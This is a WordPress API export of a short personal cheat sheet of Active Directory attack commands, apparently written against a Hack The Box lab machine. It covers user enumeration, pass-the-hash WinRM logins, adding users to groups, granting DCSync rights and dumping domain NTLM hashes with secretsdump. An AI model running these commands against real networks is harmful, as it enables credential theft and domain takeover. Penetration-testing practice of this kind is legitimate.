{"id":130,"date":"2026-01-21T21:36:19","date_gmt":"2026-01-21T21:36:19","guid":{"rendered":"https:\/\/patatties.nl\/?p=130"},"modified":"2026-01-21T23:36:00","modified_gmt":"2026-01-21T23:36:00","slug":"tools-ad-exploitation","status":"publish","type":"post","link":"https:\/\/patatties.nl\/?p=130","title":{"rendered":"TOOLS: AD exploitation"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Enumerate users<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>enum4linux -U 10.129.95.210\n\ncme smb 192.168.1.0\/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute # can be anonymous\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">WinRM connect<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>Password:\nevil-winrm -u svc-alfresco -p s3rvice -i 10.129.95.210\n\nPass the Hash (ntlm hash):\nevil-winrm -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6 -i 10.129.95.210\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Add users, groups, etc.<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>Active Directory:\nnet group \"groupname\" \/domain\nnet group \"groupname\" \"username\" \/add \/domain\nnet user\nnet share\nnet localgroups<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">DC Sync<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>Activate rights:\nbloodyAD --host 10.129.95.210 -d htb.local -u svc-alfresco -p s3rvice add dcsync svc-alfresco\n\nDump credentials over the network:\nimpacket-secretsdump -just-dc-ntlm 'htb.local'\/'svc-alfresco':'s3rvice'@'10.129.95.210'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Bloodhound<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>bloodhound-python -c all -u 'svc-alfresco' -p s3rvice -d htb.local -dc forest.htb.local -gc forest.htb.local -ns 10.129.95.210\n\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Enumerate users WinRM connect Add users, groups, etc. DC Sync Bloodhound<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-130","post","type-post","status-publish","format-standard","hentry","category-tools"],"_links":{"self":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/130","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=130"}],"version-history":[{"count":2,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/130\/revisions"}],"predecessor-version":[{"id":133,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/130\/revisions\/133"}],"wp:attachment":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}